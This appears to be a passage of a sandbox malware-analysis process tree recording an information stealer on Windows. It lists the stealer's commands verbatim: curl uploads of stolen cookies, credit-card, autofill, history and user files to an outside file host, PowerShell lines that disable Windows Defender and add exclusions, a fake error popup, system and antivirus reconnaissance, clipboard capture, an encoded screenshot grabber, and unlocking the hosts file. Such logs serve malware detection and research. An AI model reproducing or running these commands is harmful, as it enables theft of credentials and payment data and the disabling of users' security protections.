                                        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile"
                                        5⤵
                                          PID:5708
                                          • C:\Windows\system32\curl.exe
                                            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile
                                            6⤵
                                              PID:5372
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile"
                                            5⤵
                                              PID:5208
                                              • C:\Windows\system32\curl.exe
                                                curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile
                                                6⤵
                                                  PID:6268
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile"
                                                5⤵
                                                  PID:3324
                                                  • C:\Windows\system32\curl.exe
                                                    curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile
                                                    6⤵
                                                      PID:5480
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile"
                                                    5⤵
                                                      PID:3368
                                                      • C:\Windows\system32\curl.exe
                                                        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile
                                                        6⤵
                                                          PID:6688
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile"
                                                        5⤵
                                                          PID:6344
                                                          • C:\Windows\system32\curl.exe
                                                            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile
                                                            6⤵
                                                              PID:6440
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile"
                                                            5⤵
                                                              PID:6468
                                                              • C:\Windows\system32\curl.exe
                                                                curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile
                                                                6⤵
                                                                  PID:456
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/BackupApprove.xlsx" https://store4.gofile.io/uploadFile"
                                                                5⤵
                                                                  PID:3172
                                                                  • C:\Windows\system32\curl.exe
                                                                    curl -F "file=@C:\Users\Admin/Desktop/BackupApprove.xlsx" https://store4.gofile.io/uploadFile
                                                                    6⤵
                                                                      PID:6228
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/BackupEdit.gif" https://store4.gofile.io/uploadFile"
                                                                    5⤵
                                                                      PID:7056
                                                                      • C:\Windows\system32\curl.exe
                                                                        curl -F "file=@C:\Users\Admin/Downloads/BackupEdit.gif" https://store4.gofile.io/uploadFile
                                                                        6⤵
                                                                          PID:6832
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/DisableBackup.aifc" https://store4.gofile.io/uploadFile"
                                                                        5⤵
                                                                          PID:2832
                                                                          • C:\Windows\system32\curl.exe
                                                                            curl -F "file=@C:\Users\Admin/Desktop/DisableBackup.aifc" https://store4.gofile.io/uploadFile
                                                                            6⤵
                                                                              PID:4892
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/BackupTrace.MOD" https://store4.gofile.io/uploadFile"
                                                                            5⤵
                                                                              PID:2512
                                                                              • C:\Windows\system32\curl.exe
                                                                                curl -F "file=@C:\Users\Admin/Downloads/BackupTrace.MOD" https://store4.gofile.io/uploadFile
                                                                                6⤵
                                                                                  PID:5892
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/DisableBackup.bmp" https://store4.gofile.io/uploadFile"
                                                                                5⤵
                                                                                  PID:6580
                                                                                  • C:\Windows\system32\curl.exe
                                                                                    curl -F "file=@C:\Users\Admin/Downloads/DisableBackup.bmp" https://store4.gofile.io/uploadFile
                                                                                    6⤵
                                                                                      PID:392
                                                                              • C:\Users\Admin\AppData\Local\Temp\a\qhos.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\a\qhos.exe"
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                PID:2068
                                                                                • C:\Users\Admin\AppData\Local\Temp\a\qhos.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\qhos.exe"
                                                                                  4⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:212
                                                                              • C:\Users\Admin\AppData\Local\Temp\a\phost.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\a\phost.exe"
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                PID:4100
                                                                                • C:\Users\Admin\AppData\Local\Temp\a\phost.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\phost.exe"
                                                                                  4⤵
                                                                                  • Drops file in Drivers directory
                                                                                  • Executes dropped EXE
                                                                                  PID:6988
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\phost.exe'"
                                                                                    5⤵
                                                                                      PID:4404
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\phost.exe'
                                                                                        6⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        PID:6968
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                      5⤵
                                                                                        PID:6460
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                          6⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          PID:2264
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()""
                                                                                        5⤵
                                                                                          PID:5368
                                                                                          • C:\Windows\system32\mshta.exe
                                                                                            mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()"
                                                                                            6⤵
                                                                                              PID:2300
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                            5⤵
                                                                                              PID:6776
                                                                                              • C:\Windows\system32\tasklist.exe
                                                                                                tasklist /FO LIST
                                                                                                6⤵
                                                                                                • Enumerates processes with tasklist
                                                                                                PID:2620
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                              5⤵
                                                                                                PID:5608
                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                  wmic csproduct get uuid
                                                                                                  6⤵
                                                                                                    PID:6832
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                                                                                                  5⤵
                                                                                                    PID:2344
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                                                                                                      6⤵
                                                                                                        PID:6240
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                                                                                                      5⤵
                                                                                                        PID:6668
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                                                                                                          6⤵
                                                                                                            PID:6044
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                          5⤵
                                                                                                            PID:880
                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                              wmic path win32_VideoController get name
                                                                                                              6⤵
                                                                                                              • Detects videocard installed
                                                                                                              PID:5524
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                            5⤵
                                                                                                              PID:4224
                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                wmic path win32_VideoController get name
                                                                                                                6⤵
                                                                                                                • Detects videocard installed
                                                                                                                PID:5100
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
                                                                                                              5⤵
                                                                                                                PID:6424
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
                                                                                                                  6⤵
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  PID:1084
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                5⤵
                                                                                                                  PID:6100
                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                    tasklist /FO LIST
                                                                                                                    6⤵
                                                                                                                    • Enumerates processes with tasklist
                                                                                                                    PID:6924
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                  5⤵
                                                                                                                    PID:6016
                                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                                      tasklist /FO LIST
                                                                                                                      6⤵
                                                                                                                      • Enumerates processes with tasklist
                                                                                                                      PID:5032
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                                                                    5⤵
                                                                                                                      PID:2100
                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                                                                        6⤵
                                                                                                                          PID:3972
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                                                                        5⤵
                                                                                                                        • Clipboard Data
                                                                                                                        PID:5224
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell Get-Clipboard
                                                                                                                          6⤵
                                                                                                                          • Clipboard Data
                                                                                                                          PID:2448
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                        5⤵
                                                                                                                          PID:6052
                                                                                                                          • C:\Windows\system32\tasklist.exe
                                                                                                                            tasklist /FO LIST
                                                                                                                            6⤵
                                                                                                                            • Enumerates processes with tasklist
                                                                                                                            PID:6060
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                          5⤵
                                                                                                                            PID:7056
                                                                                                                            • C:\Windows\system32\tree.com
                                                                                                                              tree /A /F
                                                                                                                              6⤵
                                                                                                                                PID:3172
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                                                              5⤵
                                                                                                                              • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                              PID:6196
                                                                                                                              • C:\Windows\system32\netsh.exe
                                                                                                                                netsh wlan show profile
                                                                                                                                6⤵
                                                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                PID:1652
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                                                                              5⤵
                                                                                                                                PID:6208
                                                                                                                                • C:\Windows\system32\systeminfo.exe
                                                                                                                                  systeminfo
                                                                                                                                  6⤵
                                                                                                                                  • Gathers system information
                                                                                                                                  PID:2992
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                                                                                                5⤵
                                                                                                                                  PID:6616
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                                                                                                    6⤵
                                                                                                                                      PID:5780
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                                                    5⤵
                                                                                                                                      PID:6452
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                                                        6⤵
                                                                                                                                          PID:6128
                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pr5ntp01\pr5ntp01.cmdline"
                                                                                                                                            7⤵
                                                                                                                                              PID:1448
                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDB43.tmp" "c:\Users\Admin\AppData\Local\Temp\pr5ntp01\CSC4F615E0FD854E1AB4B385C1B495685.TMP"
                                                                                                                                                8⤵
                                                                                                                                                  PID:6976
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                            5⤵
                                                                                                                                              PID:6108
                                                                                                                                              • C:\Windows\system32\tree.com
                                                                                                                                                tree /A /F
                                                                                                                                                6⤵
                                                                                                                                                  PID:7112
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                                                5⤵
                                                                                                                                                  PID:2832
                                                                                                                                                  • C:\Windows\system32\attrib.exe
                                                                                                                                                    attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                                                                                                    6⤵
                                                                                                                                                    • Drops file in Drivers directory
                                                                                                                                                    • Views/modifies file attributes
                                                                                                                                                    PID:6492
